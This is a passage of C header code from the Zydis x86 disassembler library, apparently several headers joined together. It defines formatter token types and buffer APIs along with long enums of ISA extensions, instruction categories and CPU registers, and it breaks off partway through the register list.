#define ZYDIS_TOKEN_PREFIX 0x05
/**
* A mnemonic literal (like `"MOV"`, `"VCMPPSD"`, `"LCALL"`).
*/
#define ZYDIS_TOKEN_MNEMONIC 0x06
/**
* A register literal (like `"RAX"`, `"DS"`, `"%ECX"`).
*/
#define ZYDIS_TOKEN_REGISTER 0x07
/**
* An absolute address literal (like `0x00400000`).
*/
#define ZYDIS_TOKEN_ADDRESS_ABS 0x08
/**
* A relative address literal (like `-0x100`).
*/
#define ZYDIS_TOKEN_ADDRESS_REL 0x09
/**
* A displacement literal (like `0xFFFFFFFF`, `-0x100`, `+0x1234`).
*/
#define ZYDIS_TOKEN_DISPLACEMENT 0x0A
/**
* An immediate literal (like `0xC0`, `-0x1234`, `$0x0000`).
*/
#define ZYDIS_TOKEN_IMMEDIATE 0x0B
/**
* A typecast literal (like `DWORD PTR`).
*/
#define ZYDIS_TOKEN_TYPECAST 0x0C
/**
* A decorator literal (like `"Z"`, `"1TO4"`).
*/
#define ZYDIS_TOKEN_DECORATOR 0x0D
/**
* A symbol literal.
*/
#define ZYDIS_TOKEN_SYMBOL 0x0E
/**
* The base for user-defined token types.
*/
#define ZYDIS_TOKEN_USER 0x80
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Enums and types */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Token */
/* ---------------------------------------------------------------------------------------------- */
#pragma pack(push, 1)
/**
* Defines the `ZydisFormatterToken` struct.
*
* All fields in this struct should be considered as "private". Any changes may lead to unexpected
* behavior.
*/
typedef struct ZydisFormatterToken_
{
/**
* The token type.
*/
ZydisTokenType type;
/**
* An offset to the next token, or `0`.
*/
ZyanU8 next;
} ZydisFormatterToken;
#pragma pack(pop)
/**
* Defines the `ZydisFormatterTokenConst` data-type.
*/
typedef const ZydisFormatterToken ZydisFormatterTokenConst;
/* ---------------------------------------------------------------------------------------------- */
/* Buffer */
/* ---------------------------------------------------------------------------------------------- */
/**
* Defines the `ZydisFormatterBuffer` struct.
*
* All fields in this struct should be considered as "private". Any changes may
* lead to unexpected behavior.
*/
typedef struct ZydisFormatterBuffer_
{
/**
* `ZYAN_TRUE`, if the buffer contains a token stream or `ZYAN_FALSE, if it
* contains a simple string.
*/
ZyanBool is_token_list;
/**
* The remaining capacity of the buffer.
*/
ZyanUSize capacity;
/**
* The `ZyanString` instance that refers to the literal value of the most
* recently added token.
*/
ZyanString string;
} ZydisFormatterBuffer;
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
/* Exported functions */
/* ============================================================================================== */
/* ---------------------------------------------------------------------------------------------- */
/* Token */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the `type` and the string `value` of the given `token`.
*
* @param token A pointer to the `ZydisFormatterToken` struct.
* @param type Receives the token type.
* @param value Receives a pointer to the string value of the token.
*
* @return A zyan status code.
*/
ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenGetValue(const ZydisFormatterToken* token,
ZydisTokenType* type, ZyanConstCharPointer* value);
/**
* Obtains the next `token` linked to the passed one.
*
* @param token Receives a pointer to the next `ZydisFormatterToken` struct
* linked to the passed one.
*
* @return A zyan status code.
*/
ZYDIS_EXPORT ZyanStatus ZydisFormatterTokenNext(ZydisFormatterTokenConst** token);
/* ---------------------------------------------------------------------------------------------- */
/* Buffer */
/* ---------------------------------------------------------------------------------------------- */
/**
* Returns the current (most recently added) token.
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param token Receives a pointer to the current token.
*
* @return A zyan status code.
*
* This function returns `ZYAN_STATUS_INVALID_OPERATION`, if the buffer does not contain at least
* one token.
*/
ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferGetToken(const ZydisFormatterBuffer* buffer,
ZydisFormatterTokenConst** token);
/**
* Returns the `ZyanString` instance associated with the given buffer.
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param string Receives a pointer to the `ZyanString` instance associated with the given
* buffer.
*
* @return A zyan status code.
*
* This function returns `ZYAN_STATUS_INVALID_OPERATION`, if the buffer does not contain at least
* one token.
*
* The returned string always refers to the literal value of the current (most recently added)
* token and will remain valid until the buffer is destroyed.
*/
ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferGetString(ZydisFormatterBuffer* buffer,
ZyanString** string);
/**
* Appends a new token to the `buffer`.
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param type The type of the new token.
*
* @return A zyan status code.
*
* Note that the `ZyanString` instance returned by `ZydisFormatterBufferGetString` will
* automatically be updated by calling this function.
*/
ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferAppend(ZydisFormatterBuffer* buffer,
ZydisTokenType type);
/**
* Returns a snapshot of the buffer-state.
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param state Receives a snapshot of the buffer-state.
*
* @return A zyan status code.
*
* Note that the buffer-state is saved inside the buffer itself and thus becomes invalid as soon
* as the buffer gets overwritten or destroyed.
*/
ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferRemember(const ZydisFormatterBuffer* buffer,
ZyanUPointer* state);
/**
* Restores a previously saved buffer-state.
*
* @param buffer A pointer to the `ZydisFormatterBuffer` struct.
* @param state The buffer-state to restore.
*
* @return A zyan status code.
*
* All tokens added after obtaining the given `state` snapshot will be removed. This function
* does NOT restore any string content.
*
* Note that the `ZyanString` instance returned by `ZydisFormatterBufferGetString` will
* automatically be updated by calling this function.
*/
ZYDIS_EXPORT ZyanStatus ZydisFormatterBufferRestore(ZydisFormatterBuffer* buffer,
ZyanUPointer state);
/* ---------------------------------------------------------------------------------------------- */
/* ============================================================================================== */
#ifdef __cplusplus
}
#endif
#endif /* ZYDIS_FORMATTER_TOKEN_H */

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/**
* Defines the `ZydisISAExt` enum.
*/
typedef enum ZydisISAExt_
{
ZYDIS_ISA_EXT_INVALID,
ZYDIS_ISA_EXT_ADOX_ADCX,
ZYDIS_ISA_EXT_AES,
ZYDIS_ISA_EXT_AMD3DNOW,
ZYDIS_ISA_EXT_AMD3DNOW_PREFETCH,
ZYDIS_ISA_EXT_AMD_INVLPGB,
ZYDIS_ISA_EXT_AMX_BF16,
ZYDIS_ISA_EXT_AMX_INT8,
ZYDIS_ISA_EXT_AMX_TILE,
ZYDIS_ISA_EXT_AVX,
ZYDIS_ISA_EXT_AVX2,
ZYDIS_ISA_EXT_AVX2GATHER,
ZYDIS_ISA_EXT_AVX512EVEX,
ZYDIS_ISA_EXT_AVX512VEX,
ZYDIS_ISA_EXT_AVXAES,
ZYDIS_ISA_EXT_BASE,
ZYDIS_ISA_EXT_BMI1,
ZYDIS_ISA_EXT_BMI2,
ZYDIS_ISA_EXT_CET,
ZYDIS_ISA_EXT_CLDEMOTE,
ZYDIS_ISA_EXT_CLFLUSHOPT,
ZYDIS_ISA_EXT_CLFSH,
ZYDIS_ISA_EXT_CLWB,
ZYDIS_ISA_EXT_CLZERO,
ZYDIS_ISA_EXT_ENQCMD,
ZYDIS_ISA_EXT_F16C,
ZYDIS_ISA_EXT_FMA,
ZYDIS_ISA_EXT_FMA4,
ZYDIS_ISA_EXT_GFNI,
ZYDIS_ISA_EXT_INVPCID,
ZYDIS_ISA_EXT_KNC,
ZYDIS_ISA_EXT_KNCE,
ZYDIS_ISA_EXT_KNCV,
ZYDIS_ISA_EXT_LONGMODE,
ZYDIS_ISA_EXT_LZCNT,
ZYDIS_ISA_EXT_MCOMMIT,
ZYDIS_ISA_EXT_MMX,
ZYDIS_ISA_EXT_MONITOR,
ZYDIS_ISA_EXT_MONITORX,
ZYDIS_ISA_EXT_MOVBE,
ZYDIS_ISA_EXT_MOVDIR,
ZYDIS_ISA_EXT_MPX,
ZYDIS_ISA_EXT_PADLOCK,
ZYDIS_ISA_EXT_PAUSE,
ZYDIS_ISA_EXT_PCLMULQDQ,
ZYDIS_ISA_EXT_PCONFIG,
ZYDIS_ISA_EXT_PKU,
ZYDIS_ISA_EXT_PREFETCHWT1,
ZYDIS_ISA_EXT_PT,
ZYDIS_ISA_EXT_RDPID,
ZYDIS_ISA_EXT_RDPRU,
ZYDIS_ISA_EXT_RDRAND,
ZYDIS_ISA_EXT_RDSEED,
ZYDIS_ISA_EXT_RDTSCP,
ZYDIS_ISA_EXT_RDWRFSGS,
ZYDIS_ISA_EXT_RTM,
ZYDIS_ISA_EXT_SERIALIZE,
ZYDIS_ISA_EXT_SGX,
ZYDIS_ISA_EXT_SGX_ENCLV,
ZYDIS_ISA_EXT_SHA,
ZYDIS_ISA_EXT_SMAP,
ZYDIS_ISA_EXT_SMX,
ZYDIS_ISA_EXT_SNP,
ZYDIS_ISA_EXT_SSE,
ZYDIS_ISA_EXT_SSE2,
ZYDIS_ISA_EXT_SSE3,
ZYDIS_ISA_EXT_SSE4,
ZYDIS_ISA_EXT_SSE4A,
ZYDIS_ISA_EXT_SSSE3,
ZYDIS_ISA_EXT_SVM,
ZYDIS_ISA_EXT_TBM,
ZYDIS_ISA_EXT_TSX_LDTRK,
ZYDIS_ISA_EXT_VAES,
ZYDIS_ISA_EXT_VMFUNC,
ZYDIS_ISA_EXT_VPCLMULQDQ,
ZYDIS_ISA_EXT_VTX,
ZYDIS_ISA_EXT_WAITPKG,
ZYDIS_ISA_EXT_X87,
ZYDIS_ISA_EXT_XOP,
ZYDIS_ISA_EXT_XSAVE,
ZYDIS_ISA_EXT_XSAVEC,
ZYDIS_ISA_EXT_XSAVEOPT,
ZYDIS_ISA_EXT_XSAVES,
/**
* Maximum value of this enum.
*/
ZYDIS_ISA_EXT_MAX_VALUE = ZYDIS_ISA_EXT_XSAVES,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_ISA_EXT_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ISA_EXT_MAX_VALUE)
} ZydisISAExt;

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/**
* Defines the `ZydisISASet` enum.
*/
typedef enum ZydisISASet_
{
ZYDIS_ISA_SET_INVALID,
ZYDIS_ISA_SET_ADOX_ADCX,
ZYDIS_ISA_SET_AES,
ZYDIS_ISA_SET_AMD,
ZYDIS_ISA_SET_AMD3DNOW,
ZYDIS_ISA_SET_AMX_BF16,
ZYDIS_ISA_SET_AMX_INT8,
ZYDIS_ISA_SET_AMX_TILE,
ZYDIS_ISA_SET_AVX,
ZYDIS_ISA_SET_AVX2,
ZYDIS_ISA_SET_AVX2GATHER,
ZYDIS_ISA_SET_AVX512BW_128,
ZYDIS_ISA_SET_AVX512BW_128N,
ZYDIS_ISA_SET_AVX512BW_256,
ZYDIS_ISA_SET_AVX512BW_512,
ZYDIS_ISA_SET_AVX512BW_KOP,
ZYDIS_ISA_SET_AVX512CD_128,
ZYDIS_ISA_SET_AVX512CD_256,
ZYDIS_ISA_SET_AVX512CD_512,
ZYDIS_ISA_SET_AVX512DQ_128,
ZYDIS_ISA_SET_AVX512DQ_128N,
ZYDIS_ISA_SET_AVX512DQ_256,
ZYDIS_ISA_SET_AVX512DQ_512,
ZYDIS_ISA_SET_AVX512DQ_KOP,
ZYDIS_ISA_SET_AVX512DQ_SCALAR,
ZYDIS_ISA_SET_AVX512ER_512,
ZYDIS_ISA_SET_AVX512ER_SCALAR,
ZYDIS_ISA_SET_AVX512F_128,
ZYDIS_ISA_SET_AVX512F_128N,
ZYDIS_ISA_SET_AVX512F_256,
ZYDIS_ISA_SET_AVX512F_512,
ZYDIS_ISA_SET_AVX512F_KOP,
ZYDIS_ISA_SET_AVX512F_SCALAR,
ZYDIS_ISA_SET_AVX512PF_512,
ZYDIS_ISA_SET_AVX512_4FMAPS_512,
ZYDIS_ISA_SET_AVX512_4FMAPS_SCALAR,
ZYDIS_ISA_SET_AVX512_4VNNIW_512,
ZYDIS_ISA_SET_AVX512_BF16_128,
ZYDIS_ISA_SET_AVX512_BF16_256,
ZYDIS_ISA_SET_AVX512_BF16_512,
ZYDIS_ISA_SET_AVX512_BITALG_128,
ZYDIS_ISA_SET_AVX512_BITALG_256,
ZYDIS_ISA_SET_AVX512_BITALG_512,
ZYDIS_ISA_SET_AVX512_GFNI_128,
ZYDIS_ISA_SET_AVX512_GFNI_256,
ZYDIS_ISA_SET_AVX512_GFNI_512,
ZYDIS_ISA_SET_AVX512_IFMA_128,
ZYDIS_ISA_SET_AVX512_IFMA_256,
ZYDIS_ISA_SET_AVX512_IFMA_512,
ZYDIS_ISA_SET_AVX512_VAES_128,
ZYDIS_ISA_SET_AVX512_VAES_256,
ZYDIS_ISA_SET_AVX512_VAES_512,
ZYDIS_ISA_SET_AVX512_VBMI2_128,
ZYDIS_ISA_SET_AVX512_VBMI2_256,
ZYDIS_ISA_SET_AVX512_VBMI2_512,
ZYDIS_ISA_SET_AVX512_VBMI_128,
ZYDIS_ISA_SET_AVX512_VBMI_256,
ZYDIS_ISA_SET_AVX512_VBMI_512,
ZYDIS_ISA_SET_AVX512_VNNI_128,
ZYDIS_ISA_SET_AVX512_VNNI_256,
ZYDIS_ISA_SET_AVX512_VNNI_512,
ZYDIS_ISA_SET_AVX512_VP2INTERSECT_128,
ZYDIS_ISA_SET_AVX512_VP2INTERSECT_256,
ZYDIS_ISA_SET_AVX512_VP2INTERSECT_512,
ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_128,
ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_256,
ZYDIS_ISA_SET_AVX512_VPCLMULQDQ_512,
ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_128,
ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_256,
ZYDIS_ISA_SET_AVX512_VPOPCNTDQ_512,
ZYDIS_ISA_SET_AVXAES,
ZYDIS_ISA_SET_AVX_GFNI,
ZYDIS_ISA_SET_BMI1,
ZYDIS_ISA_SET_BMI2,
ZYDIS_ISA_SET_CET,
ZYDIS_ISA_SET_CLDEMOTE,
ZYDIS_ISA_SET_CLFLUSHOPT,
ZYDIS_ISA_SET_CLFSH,
ZYDIS_ISA_SET_CLWB,
ZYDIS_ISA_SET_CLZERO,
ZYDIS_ISA_SET_CMOV,
ZYDIS_ISA_SET_CMPXCHG16B,
ZYDIS_ISA_SET_ENQCMD,
ZYDIS_ISA_SET_F16C,
ZYDIS_ISA_SET_FAT_NOP,
ZYDIS_ISA_SET_FCMOV,
ZYDIS_ISA_SET_FMA,
ZYDIS_ISA_SET_FMA4,
ZYDIS_ISA_SET_FXSAVE,
ZYDIS_ISA_SET_FXSAVE64,
ZYDIS_ISA_SET_GFNI,
ZYDIS_ISA_SET_I186,
ZYDIS_ISA_SET_I286PROTECTED,
ZYDIS_ISA_SET_I286REAL,
ZYDIS_ISA_SET_I386,
ZYDIS_ISA_SET_I486,
ZYDIS_ISA_SET_I486REAL,
ZYDIS_ISA_SET_I86,
ZYDIS_ISA_SET_INVPCID,
ZYDIS_ISA_SET_KNCE,
ZYDIS_ISA_SET_KNCJKBR,
ZYDIS_ISA_SET_KNCSTREAM,
ZYDIS_ISA_SET_KNCV,
ZYDIS_ISA_SET_KNC_MISC,
ZYDIS_ISA_SET_KNC_PF_HINT,
ZYDIS_ISA_SET_LAHF,
ZYDIS_ISA_SET_LONGMODE,
ZYDIS_ISA_SET_LZCNT,
ZYDIS_ISA_SET_MCOMMIT,
ZYDIS_ISA_SET_MONITOR,
ZYDIS_ISA_SET_MONITORX,
ZYDIS_ISA_SET_MOVBE,
ZYDIS_ISA_SET_MOVDIR,
ZYDIS_ISA_SET_MPX,
ZYDIS_ISA_SET_PADLOCK_ACE,
ZYDIS_ISA_SET_PADLOCK_PHE,
ZYDIS_ISA_SET_PADLOCK_PMM,
ZYDIS_ISA_SET_PADLOCK_RNG,
ZYDIS_ISA_SET_PAUSE,
ZYDIS_ISA_SET_PCLMULQDQ,
ZYDIS_ISA_SET_PCONFIG,
ZYDIS_ISA_SET_PENTIUMMMX,
ZYDIS_ISA_SET_PENTIUMREAL,
ZYDIS_ISA_SET_PKU,
ZYDIS_ISA_SET_POPCNT,
ZYDIS_ISA_SET_PPRO,
ZYDIS_ISA_SET_PREFETCHWT1,
ZYDIS_ISA_SET_PREFETCH_NOP,
ZYDIS_ISA_SET_PT,
ZYDIS_ISA_SET_RDPID,
ZYDIS_ISA_SET_RDPMC,
ZYDIS_ISA_SET_RDPRU,
ZYDIS_ISA_SET_RDRAND,
ZYDIS_ISA_SET_RDSEED,
ZYDIS_ISA_SET_RDTSCP,
ZYDIS_ISA_SET_RDWRFSGS,
ZYDIS_ISA_SET_RTM,
ZYDIS_ISA_SET_SERIALIZE,
ZYDIS_ISA_SET_SGX,
ZYDIS_ISA_SET_SGX_ENCLV,
ZYDIS_ISA_SET_SHA,
ZYDIS_ISA_SET_SMAP,
ZYDIS_ISA_SET_SMX,
ZYDIS_ISA_SET_SSE,
ZYDIS_ISA_SET_SSE2,
ZYDIS_ISA_SET_SSE2MMX,
ZYDIS_ISA_SET_SSE3,
ZYDIS_ISA_SET_SSE3X87,
ZYDIS_ISA_SET_SSE4,
ZYDIS_ISA_SET_SSE42,
ZYDIS_ISA_SET_SSE4A,
ZYDIS_ISA_SET_SSEMXCSR,
ZYDIS_ISA_SET_SSE_PREFETCH,
ZYDIS_ISA_SET_SSSE3,
ZYDIS_ISA_SET_SSSE3MMX,
ZYDIS_ISA_SET_SVM,
ZYDIS_ISA_SET_TBM,
ZYDIS_ISA_SET_TSX_LDTRK,
ZYDIS_ISA_SET_VAES,
ZYDIS_ISA_SET_VMFUNC,
ZYDIS_ISA_SET_VPCLMULQDQ,
ZYDIS_ISA_SET_VTX,
ZYDIS_ISA_SET_WAITPKG,
ZYDIS_ISA_SET_X87,
ZYDIS_ISA_SET_XOP,
ZYDIS_ISA_SET_XSAVE,
ZYDIS_ISA_SET_XSAVEC,
ZYDIS_ISA_SET_XSAVEOPT,
ZYDIS_ISA_SET_XSAVES,
/**
* Maximum value of this enum.
*/
ZYDIS_ISA_SET_MAX_VALUE = ZYDIS_ISA_SET_XSAVES,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_ISA_SET_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_ISA_SET_MAX_VALUE)
} ZydisISASet;

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/**
* Defines the `ZydisInstructionCategory` enum.
*/
typedef enum ZydisInstructionCategory_
{
ZYDIS_CATEGORY_INVALID,
ZYDIS_CATEGORY_ADOX_ADCX,
ZYDIS_CATEGORY_AES,
ZYDIS_CATEGORY_AMD3DNOW,
ZYDIS_CATEGORY_AMX_TILE,
ZYDIS_CATEGORY_AVX,
ZYDIS_CATEGORY_AVX2,
ZYDIS_CATEGORY_AVX2GATHER,
ZYDIS_CATEGORY_AVX512,
ZYDIS_CATEGORY_AVX512_4FMAPS,
ZYDIS_CATEGORY_AVX512_4VNNIW,
ZYDIS_CATEGORY_AVX512_BITALG,
ZYDIS_CATEGORY_AVX512_VBMI,
ZYDIS_CATEGORY_AVX512_VP2INTERSECT,
ZYDIS_CATEGORY_BINARY,
ZYDIS_CATEGORY_BITBYTE,
ZYDIS_CATEGORY_BLEND,
ZYDIS_CATEGORY_BMI1,
ZYDIS_CATEGORY_BMI2,
ZYDIS_CATEGORY_BROADCAST,
ZYDIS_CATEGORY_CALL,
ZYDIS_CATEGORY_CET,
ZYDIS_CATEGORY_CLDEMOTE,
ZYDIS_CATEGORY_CLFLUSHOPT,
ZYDIS_CATEGORY_CLWB,
ZYDIS_CATEGORY_CLZERO,
ZYDIS_CATEGORY_CMOV,
ZYDIS_CATEGORY_COMPRESS,
ZYDIS_CATEGORY_COND_BR,
ZYDIS_CATEGORY_CONFLICT,
ZYDIS_CATEGORY_CONVERT,
ZYDIS_CATEGORY_DATAXFER,
ZYDIS_CATEGORY_DECIMAL,
ZYDIS_CATEGORY_ENQCMD,
ZYDIS_CATEGORY_EXPAND,
ZYDIS_CATEGORY_FCMOV,
ZYDIS_CATEGORY_FLAGOP,
ZYDIS_CATEGORY_FMA4,
ZYDIS_CATEGORY_GATHER,
ZYDIS_CATEGORY_GFNI,
ZYDIS_CATEGORY_IFMA,
ZYDIS_CATEGORY_INTERRUPT,
ZYDIS_CATEGORY_IO,
ZYDIS_CATEGORY_IOSTRINGOP,
ZYDIS_CATEGORY_KMASK,
ZYDIS_CATEGORY_KNC,
ZYDIS_CATEGORY_KNCMASK,
ZYDIS_CATEGORY_KNCSCALAR,
ZYDIS_CATEGORY_LOGICAL,
ZYDIS_CATEGORY_LOGICAL_FP,
ZYDIS_CATEGORY_LZCNT,
ZYDIS_CATEGORY_MISC,
ZYDIS_CATEGORY_MMX,
ZYDIS_CATEGORY_MOVDIR,
ZYDIS_CATEGORY_MPX,
ZYDIS_CATEGORY_NOP,
ZYDIS_CATEGORY_PADLOCK,
ZYDIS_CATEGORY_PCLMULQDQ,
ZYDIS_CATEGORY_PCONFIG,
ZYDIS_CATEGORY_PKU,
ZYDIS_CATEGORY_POP,
ZYDIS_CATEGORY_PREFETCH,
ZYDIS_CATEGORY_PREFETCHWT1,
ZYDIS_CATEGORY_PT,
ZYDIS_CATEGORY_PUSH,
ZYDIS_CATEGORY_RDPID,
ZYDIS_CATEGORY_RDPRU,
ZYDIS_CATEGORY_RDRAND,
ZYDIS_CATEGORY_RDSEED,
ZYDIS_CATEGORY_RDWRFSGS,
ZYDIS_CATEGORY_RET,
ZYDIS_CATEGORY_ROTATE,
ZYDIS_CATEGORY_SCATTER,
ZYDIS_CATEGORY_SEGOP,
ZYDIS_CATEGORY_SEMAPHORE,
ZYDIS_CATEGORY_SERIALIZE,
ZYDIS_CATEGORY_SETCC,
ZYDIS_CATEGORY_SGX,
ZYDIS_CATEGORY_SHA,
ZYDIS_CATEGORY_SHIFT,
ZYDIS_CATEGORY_SMAP,
ZYDIS_CATEGORY_SSE,
ZYDIS_CATEGORY_STRINGOP,
ZYDIS_CATEGORY_STTNI,
ZYDIS_CATEGORY_SYSCALL,
ZYDIS_CATEGORY_SYSRET,
ZYDIS_CATEGORY_SYSTEM,
ZYDIS_CATEGORY_TBM,
ZYDIS_CATEGORY_TSX_LDTRK,
ZYDIS_CATEGORY_UFMA,
ZYDIS_CATEGORY_UNCOND_BR,
ZYDIS_CATEGORY_VAES,
ZYDIS_CATEGORY_VBMI2,
ZYDIS_CATEGORY_VFMA,
ZYDIS_CATEGORY_VPCLMULQDQ,
ZYDIS_CATEGORY_VTX,
ZYDIS_CATEGORY_WAITPKG,
ZYDIS_CATEGORY_WIDENOP,
ZYDIS_CATEGORY_X87_ALU,
ZYDIS_CATEGORY_XOP,
ZYDIS_CATEGORY_XSAVE,
ZYDIS_CATEGORY_XSAVEOPT,
/**
* Maximum value of this enum.
*/
ZYDIS_CATEGORY_MAX_VALUE = ZYDIS_CATEGORY_XSAVEOPT,
/**
* The minimum number of bits required to represent all values of this enum.
*/
ZYDIS_CATEGORY_REQUIRED_BITS = ZYAN_BITS_TO_REPRESENT(ZYDIS_CATEGORY_MAX_VALUE)
} ZydisInstructionCategory;

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/**
* Defines the `ZydisRegister` enum.
*/
typedef enum ZydisRegister_
{
ZYDIS_REGISTER_NONE,
// General purpose registers 8-bit
ZYDIS_REGISTER_AL,
ZYDIS_REGISTER_CL,
ZYDIS_REGISTER_DL,
ZYDIS_REGISTER_BL,
ZYDIS_REGISTER_AH,
ZYDIS_REGISTER_CH,
ZYDIS_REGISTER_DH,
ZYDIS_REGISTER_BH,
ZYDIS_REGISTER_SPL,
ZYDIS_REGISTER_BPL,
ZYDIS_REGISTER_SIL,
ZYDIS_REGISTER_DIL,
ZYDIS_REGISTER_R8B,
ZYDIS_REGISTER_R9B,
ZYDIS_REGISTER_R10B,
ZYDIS_REGISTER_R11B,
ZYDIS_REGISTER_R12B,
ZYDIS_REGISTER_R13B,
ZYDIS_REGISTER_R14B,
ZYDIS_REGISTER_R15B,
// General purpose registers 16-bit
ZYDIS_REGISTER_AX,
ZYDIS_REGISTER_CX,
ZYDIS_REGISTER_DX,
ZYDIS_REGISTER_BX,
ZYDIS_REGISTER_SP,
ZYDIS_REGISTER_BP,
ZYDIS_REGISTER_SI,
ZYDIS_REGISTER_DI,
ZYDIS_REGISTER_R8W,
ZYDIS_REGISTER_R9W,
ZYDIS_REGISTER_R10W,
ZYDIS_REGISTER_R11W,
ZYDIS_REGISTER_R12W,
ZYDIS_REGISTER_R13W,
ZYDIS_REGISTER_R14W,
ZYDIS_REGISTER_R15W,
// General purpose registers 32-bit
ZYDIS_REGISTER_EAX,
ZYDIS_REGISTER_ECX,
ZYDIS_REGISTER_EDX,
ZYDIS_REGISTER_EBX,
ZYDIS_REGISTER_ESP,
ZYDIS_REGISTER_EBP,
ZYDIS_REGISTER_ESI,
ZYDIS_REGISTER_EDI,
ZYDIS_REGISTER_R8D,
ZYDIS_REGISTER_R9D,
ZYDIS_REGISTER_R10D,
ZYDIS_REGISTER_R11D,
ZYDIS_REGISTER_R12D,
ZYDIS_REGISTER_R13D,
ZYDIS_REGISTER_R14D,
ZYDIS_REGISTER_R15D,
// General purpose registers 64-bit
ZYDIS_REGISTER_RAX,
ZYDIS_REGISTER_RCX,
ZYDIS_REGISTER_RDX,
ZYDIS_REGISTER_RBX,
ZYDIS_REGISTER_RSP,
ZYDIS_REGISTER_RBP,
ZYDIS_REGISTER_RSI,
ZYDIS_REGISTER_RDI,
ZYDIS_REGISTER_R8,
ZYDIS_REGISTER_R9,
ZYDIS_REGISTER_R10,
ZYDIS_REGISTER_R11,
ZYDIS_REGISTER_R12,
ZYDIS_REGISTER_R13,
ZYDIS_REGISTER_R14,
ZYDIS_REGISTER_R15,
// Floating point legacy registers
ZYDIS_REGISTER_ST0,
ZYDIS_REGISTER_ST1,
ZYDIS_REGISTER_ST2,
ZYDIS_REGISTER_ST3,
ZYDIS_REGISTER_ST4,
ZYDIS_REGISTER_ST5,
ZYDIS_REGISTER_ST6,
ZYDIS_REGISTER_ST7,
ZYDIS_REGISTER_X87CONTROL,
ZYDIS_REGISTER_X87STATUS,
ZYDIS_REGISTER_X87TAG,
// Floating point multimedia registers
ZYDIS_REGISTER_MM0,
ZYDIS_REGISTER_MM1,
ZYDIS_REGISTER_MM2,
ZYDIS_REGISTER_MM3,
ZYDIS_REGISTER_MM4,
ZYDIS_REGISTER_MM5,
ZYDIS_REGISTER_MM6,
ZYDIS_REGISTER_MM7,
// Floating point vector registers 128-bit
ZYDIS_REGISTER_XMM0,
ZYDIS_REGISTER_XMM1,
ZYDIS_REGISTER_XMM2,
ZYDIS_REGISTER_XMM3,
ZYDIS_REGISTER_XMM4,
ZYDIS_REGISTER_XMM5,
ZYDIS_REGISTER_XMM6,
ZYDIS_REGISTER_XMM7,
ZYDIS_REGISTER_XMM8,
ZYDIS_REGISTER_XMM9,
ZYDIS_REGISTER_XMM10,
ZYDIS_REGISTER_XMM11,
ZYDIS_REGISTER_XMM12,
ZYDIS_REGISTER_XMM13,
ZYDIS_REGISTER_XMM14,
ZYDIS_REGISTER_XMM15,
ZYDIS_REGISTER_XMM16,
ZYDIS_REGISTER_XMM17,
ZYDIS_REGISTER_XMM18,
ZYDIS_REGISTER_XMM19,
ZYDIS_REGISTER_XMM20,
ZYDIS_REGISTER_XMM21,
ZYDIS_REGISTER_XMM22,
ZYDIS_REGISTER_XMM23,
ZYDIS_REGISTER_XMM24,
ZYDIS_REGISTER_XMM25,
ZYDIS_REGISTER_XMM26,
ZYDIS_REGISTER_XMM27,
ZYDIS_REGISTER_XMM28,
ZYDIS_REGISTER_XMM29,
ZYDIS_REGISTER_XMM30,
ZYDIS_REGISTER_XMM31,
// Floating point vector registers 256-bit
ZYDIS_REGISTER_YMM0,
ZYDIS_REGISTER_YMM1,
ZYDIS_REGISTER_YMM2,
ZYDIS_REGISTER_YMM3,
ZYDIS_REGISTER_YMM4,
ZYDIS_REGISTER_YMM5,
ZYDIS_REGISTER_YMM6,
ZYDIS_REGISTER_YMM7,
ZYDIS_REGISTER_YMM8,
ZYDIS_REGISTER_YMM9,
ZYDIS_REGISTER_YMM10,
ZYDIS_REGISTER_YMM11,
ZYDIS_REGISTER_YMM12,
ZYDIS_REGISTER_YMM13,
ZYDIS_REGISTER_YMM14,
ZYDIS_REGISTER_YMM15,
ZYDIS_REGISTER_YMM16,
ZYDIS_REGISTER_YMM17,
ZYDIS_REGISTER_YMM18,
ZYDIS_REGISTER_YMM19,
ZYDIS_REGISTER_YMM20,
ZYDIS_REGISTER_YMM21,
ZYDIS_REGISTER_YMM22,
ZYDIS_REGISTER_YMM23,
ZYDIS_REGISTER_YMM24,
ZYDIS_REGISTER_YMM25,
ZYDIS_REGISTER_YMM26,
ZYDIS_REGISTER_YMM27,
ZYDIS_REGISTER_YMM28,
ZYDIS_REGISTER_YMM29,
ZYDIS_REGISTER_YMM30,
ZYDIS_REGISTER_YMM31,
// Floating point vector registers 512-bit
ZYDIS_REGISTER_ZMM0,
ZYDIS_REGISTER_ZMM1,
ZYDIS_REGISTER_ZMM2,
ZYDIS_REGISTER_ZMM3,
ZYDIS_REGISTER_ZMM4,
ZYDIS_REGISTER_ZMM5,
ZYDIS_REGISTER_ZMM6,
ZYDIS_REGISTER_ZMM7,
ZYDIS_REGISTER_ZMM8,
ZYDIS_REGISTER_ZMM9,
ZYDIS_REGISTER_ZMM10,
ZYDIS_REGISTER_ZMM11,
ZYDIS_REGISTER_ZMM12,
ZYDIS_REGISTER_ZMM13,
ZYDIS_REGISTER_ZMM14,
ZYDIS_REGISTER_ZMM15,
ZYDIS_REGISTER_ZMM16,
ZYDIS_REGISTER_ZMM17,
ZYDIS_REGISTER_ZMM18,
ZYDIS_REGISTER_ZMM19,
ZYDIS_REGISTER_ZMM20,
ZYDIS_REGISTER_ZMM21,
ZYDIS_REGISTER_ZMM22,
ZYDIS_REGISTER_ZMM23,
ZYDIS_REGISTER_ZMM24,
